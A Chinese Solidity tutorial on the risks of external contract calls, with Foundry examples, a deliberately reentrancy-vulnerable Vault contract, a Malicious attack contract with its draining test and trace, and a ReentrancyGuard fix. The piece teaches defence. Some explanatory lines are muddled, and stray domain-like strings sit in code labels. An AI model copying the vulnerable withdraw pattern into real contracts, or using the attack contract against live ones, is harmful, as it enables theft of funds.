合约交互的风险与防护

简介: 本文介绍了 Solidity 中外部合约调用的三种方式:通过接口类型调用、使用低级 `.call` 方法以及 `delegatecall` 与 `staticcall`。重点分析了不同调用方式的安全性、适用场景及潜在风险,如重入攻击、Gas 限制和返回值伪造等。同时,总结了防范风险的最佳实践,如使用 Checks-Effects-Interactions 模式、引入 `ReentrancyGuard` 以及限制外部调用来源。最后通过实战演练演示了调用实现和重入攻击的防御效果。

外部调用的三种方式

1. 通过接口类型调用(推荐)

最常见、最安全的调用方式。编译期校验、类型安全。

代码语言:txt

AI代码解释

interface ICounter {
    function increment() external;
}
function callOther(address counter) external {
    ICounter(counter).increment();
}
  • 类型安全
  • 编译期可校验
  • 更省 Gas,调试友好

2. 使用低级 .call 方法

适用于 ABI 不确定的目标合约,但风险更高,不推荐常用。

代码语言:txt

AI代码解释

(bool success, bytes memory data) = counter.call(
    abi.encodeWithSignature("increment()")
);
require(success, "Call failed");
  • 任意函数调用,但不安全
  • 不会报错即使函数不存在
  • 返回值需要手动解析

3. delegatecallstaticcall

  • delegatecall 使用当前合约的存储,常用于库合约调用
  • staticcall 是只读调用,无法修改状态

代码语言:txt

AI代码解释

(bool success, ) = lib.delegatecall(abi.encodeWithSignature("doSomething()"));

二、外部调用的典型风险

风险类型

描述

重入攻击 Reentrancy

外部合约在 call 过程中回调你本合约的函数造成状态被篡改

状态未及时更新

若先调用外部合约、再更新状态,可能导致逻辑被重复利用

Gas 限制与失败

被调用者消耗过多 gas 导致交易失败

.call 返回值伪造

.call 即使失败也可能返回 success = true,掩盖真实失败


三、安全编程模式

Checks-Effects-Interactions 模式

先检查、再更新状态、最后外部调用,避免重入风险:

代码语言:txt

AI代码解释

function withdraw() external {
    uint amount = balances[msg.sender];
    require(amount > 0, "Zero balance");
    balances[msg.sender] = 0;
    (bool success, ) = msg.sender.call{value: amount}("");
    require(success, "Transfer failed");
}

使用 ReentrancyGuard

代码语言:txt

aly.riverspa.net99

AI代码解释

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract Vault is ReentrancyGuard {
    function withdraw() external nonReentrant {
        // 内部状态更新
    }
}

限制外部调用方式

  • 禁用 fallback 接收复杂逻辑
  • 限制 .call 传入地址或函数签名的来源
  • 接口优先,避免裸调用

四、实战演练

还是以 Counter.sol 合约为例,我们设计以下结构:

  • Counter.sol:被调用合约,提供 increment 方法。
  • Caller.sol:发起调用者,分别以接口和低级 .call 调用 Counter
  • Interaction.t.sol:测试合约,验证两种调用方式。
  • (进阶)攻击合约 Malicious.sol:用于模拟重入攻击。

1. 初始化项目

代码语言:bash

AI代码解释

$ forge init counter
$ cd counter

2. 编写合约

src/Counter.sol

代码语言:txt

AI代码解释

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Counter {
    uint256 public count;
    event Incremented(uint256 newValue);
    function increment() external {
        count++;
        emit Incremented(count);
    }
}

src/Caller.sol

代码语言:txt

AI代码解释

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ICounter {
    function increment() external;
}
contract Caller {
    // 安全方式:通过接口调用
    function callSafe(address counter) public {
        ICounter(counter).increment();
    }
    // 不安全方式:低级调用
    function callUnsafe(address counter) public {
        (bool success, ) = counter.call(
            abi.encodeWithSignature("increment()")
        );
        require(success, "Low-level call failed");
    }
}

3. 编写测试用例

test/Interaction.t.sol

代码语言:txt

AI代码解释

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "../src/Counter.sol";
import "../src/Caller.sol";
contract InteractionTest is Test {
    Counter counter;
    Caller caller;
    function setUp() public {
        counter = new Counter();
        caller = new Caller();
    }
    function testCallSafe() public {
        caller.callSafe(address(counter));
        assertEq(counter.count(), 1);
    }
    function testCallUnsafe() public {
        caller.callUnsafe(address(counter));
        assertEq(counter.count(), 1);
    }
    function testCallInvalidSignature() public {
        // 模拟 .call 调用不存在函数
        (bool success, ) = address(counter).call(
            abi.encodeWithSignature("nonexistent()")
        );
        assertFalse(success, "Call to nonexistent should fail");
    }
}

执行测试:  

代码语言:bash

AI代码解释

$ forge test -vv

forge test

4. 模拟重入攻击

我们扩展场景,设计一个提款合约与攻击合约,演示如何在未做防御的情况下被重入。

src/Vault.sol

代码语言:txt

AI代码解释

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Vault {
    mapping(address => uint256) public balances;
    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }
    function withdraw() public {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "Zero balance");
        // ❌ 状态修改放后,导致可重入
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");
        balances[msg.sender] = 0;
    }
    receive() external payable {}
}

src/Malicious.sol

代码语言:txt

AI代码解释

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IVault {
    function deposit() external payable;
    function withdraw() external;
}
contract Malicious {
    IVault public vault;
    uint256 public reentryCount;
    constructor(address _vault) {
        vault = IVault(_vault);
    }
    function attack() external payable {
        vault.deposit{value: msg.value}();
        vault.withdraw();
    }
    receive() external payable {
        reentryCount++;
        if (reentryCount < 3) {
            vault.withdraw();
        }
    }
}

重入攻击测试:test/Reentrancy.t.sol:

代码语言:txt

AI代码解释

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "../src/Vault.sol";
import "../src/Malicious.sol";
contract ReentrancyTest is Test {
    Vault public vault;
    Malicious public attacker;
    function setUp() public {
        vault = new Vault();
        attacker = new Malicious(address(vault));
        // 先给 Vault 存 1 ether
        vm.deal(address(this), 2 ether);
        vault.deposit{value: 1 ether}();
        // 给 attacker 合约 1 ether
        vm.deal(address(attacker), 1 ether);
    }
    function testAttack() public {
        vm.startPrank(address(attacker));
        attacker.attack{value: 1 ether}();
        vm.stopPrank();
        assertEq(address(vault).balance, 0, "Vault should be drained");
        assertGt(address(attacker).balance, 1 ether, "Attacker profit expected");
    }
}

执行结果:  

代码语言:bash

AI代码解释

$ forge test --match-path test/Reentrancy.t.sol -vvv
[⠊] Compiling...
No files changed, compilation skipped
Ran 1 test for test/Reentrancy.t.sol:ReentrancyTest
[FAIL: Transfer failed] testAttack() (gas: 97251)
Traces:
  [97251] ReentrancyTest::testAttack()
    ├─ [0] VM::startPrank(Malicious: [0x2e234DAe75C793f67A35089C9d99245E1C58470b])
    │   └─ ← [Return]
    ├─ [82170] Malicious::attack{value: 1000000000000000000}()
    │   ├─ [22537] Vault::deposit{value: 1000000000000000000}()
    │   │   └─ ← [Stop]
    │   ├─ [47366] Vault::withdraw()
    │   │   ├─ [39527] Malicious::receive{value: 1000000000000000000}()
    │   │   │   ├─ [16606] Vault::withdraw()
    │   │   │   │   ├─ [8767] Malicious::receive{value: 1000000000000000000}()
    │   │   │   │   │   ├─ [7746] Vault::withdraw()
    │   │   │   │   │   │   ├─ [0] Malicious::receive{value: 1000000000000000000}()
    │   │   │   │   │   │   │   └─ ← [OutOfFunds] EvmError: OutOfFunds
    │   │   │   │   │   │   └─ ← [Revert] Transfer failed
    │   │   │   │   │   └─ ← [Revert] Transfer failed
    │   │   │   │   └─ ← [Revert] Transfer failed
    │   │   │   └─ ← [Revert] Transfer failed
    │   │   └─ ← [Revert] Transfer failed
    │   └─ ← [Revert] Transfer failed
    └─ ← [Revert] Transfer failed
Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 5.19ms (353.92µs CPU time)
Ran 1 test suite in 189.23ms (5.19ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)
Failing tests:
Encountered 1 failing test in test/Reentrancy.t.sol:ReentrancyTest
[FAIL: Transfer failed] testAttack() (gas: 97251)
Encountered a total of 1 failing tests, 0 tests succeeded

上面的测试结果正是我们期望的「重入攻击成功触发并导致合约资金耗尽」场景,这是这类漏洞利用中的关键现象 —— 但我们的测试 case 失败的原因,是预期的 Transfer 成功变为了失败。这其实是由于 Vault 中资金已经被反复提取后,触发了 call 转账失败导致的 revert

5. 使用 ReentrancyGuard 防止重入

src/VaultSafe.sol:

代码语言:txt

AI代码解释

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
contract Vault is ReentrancyGuard {
    mapping(address => uint256) public balances;
    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }
    function withdraw() public nonReentrant {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "Zero balance");
        balances[msg.sender] = 0; // ✅ 状态更新在前
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");
    }
    receive() external payable {}
}

代码语言:aly.loudvip.com88

AI代码解释

# 安装依赖包
$ forge install openzeppelin/openzeppelin-contracts

五、小结:合约调用策略对比

相关文章
|
1月前
|
人工智能 JSON 编译器
Code和Clang配置C++开发环境
本文介绍了如何在VS Code中配置C++开发环境,包括安装VS Code、C++扩展、Clang编译器,创建并运行Hello World项目,使用IntelliSense、调试程序及自定义配置等内容,帮助开发者快速上手C++开发。
221 0
|
1月前
|
JSON 人工智能 前端开发
JSON基础知识与实践
JSON(JavaScript Object Notation)是一种轻量级的数据交换格式,基于JavaScript语言的子集,具有易读、易解析和跨语言等优点。它广泛应用于前后端数据交换、API设计、配置文件存储及移动应用开发等场景。JSON数据由键值对构成,支持字符串、数值、布尔值、数组和对象等类型,结构清晰且可嵌套,适合网络传输。自2001年由Douglas Crockford提出后,JSON因其简洁性和灵活性逐渐成为互联网主流数据格式之一,并被标准化为ECMA-404。
261 0
|
网络性能优化 网络虚拟化 网络架构
配置基于VLAN限速示例
除了ACL之外,MQC配置中的流分类定义了大量的二三层匹配规则,如VLAN ID、802.1p优先级、DSCP优先级、源MAC、目的MAC等,设备可以通过配置不同的流分类规则将报文进行分类,并配置限速、统计或者镜像等流行为,以实现不同的策略。 本例就是在流分类中匹配不同的VLAN ID,并对符合规则的报文分别配置不同的限速带宽,以达到对不同的业务流量分配不同带宽的目的。
247 2
为ps1脚本文件添加数字签名
再win11环境下为PowerShell脚本文件进行数字签名
|
1月前
|
人工智能 Shell vr&ar
从原理到实践
相机标定是计算机视觉中的关键步骤,用于将真实世界的3D点映射到图像的2D平面。通过标定,可以消除镜头畸变、获取物体的真实尺寸,并实现精确的3D重建和姿态估计。标定过程通常使用棋盘格标定板,通过检测角点的3D和2D坐标来计算相机的内参矩阵和畸变系数。本文介绍了标定的原理、工具使用方法、代码解析及实际应用技巧,帮助用户高效完成标定工作。
47 0
|
10月前
|
前端开发
`Promise.all()`方法在处理数组形式参数时的执行机制
Promise.all()` 提供了一种方便的方式来同时处理多个异步操作,并在它们都完成后获取到所有的结果,使得我们能够更高效地进行异步任务的组合和处理。
|
10月前
|
安全 前端开发 云计算
Waline:一款开源、安全、简介的评论系统
阿里云计算巢提供了一键部署waline的功能,无需下载代码或安装复杂依赖,通过简单步骤即可搭建waline —— 一款带后端的极简风评论系统。
Waline:一款开源、安全、简介的评论系统
|
9月前
|
弹性计算 运维 Serverless
产品测评 | ECS的健康保障新助手——云服务诊断
本文评测了阿里云的云服务诊断工具,该工具旨在帮助运维工程师和开发者快速定位和解决云资源问题。工具提供了“健康状态”和“诊断”两大核心功能,能够实时监控云资源状态,排查如网站无法访问、ECS故障等多种问题,并给出修复建议。该工具显著提升了排障效率,但在文档清晰度、功能描述准确性及部分功能实现上仍有改进空间。总体而言,该工具值得推荐给其他用户或团队使用。
|
9月前
|
监控 Java 数据处理
Spring Batch 是如何工作的?
Spring Batch 是如何工作的?
424 2
|
10月前
|
JavaScript 前端开发 安全
2024年前端开发新趋势:TypeScript、Deno与性能优化
2024年前端开发迎来新趋势:TypeScript 5.0引入装饰器正式支持、const类型参数及枚举改进;Deno 1.42版推出JSR包注册表、增强Node.js兼容性并优化性能;性能优化策略涵盖代码分割、懒加载及现代构建工具的应用。这些变化推动前端开发向更高效率和安全性发展。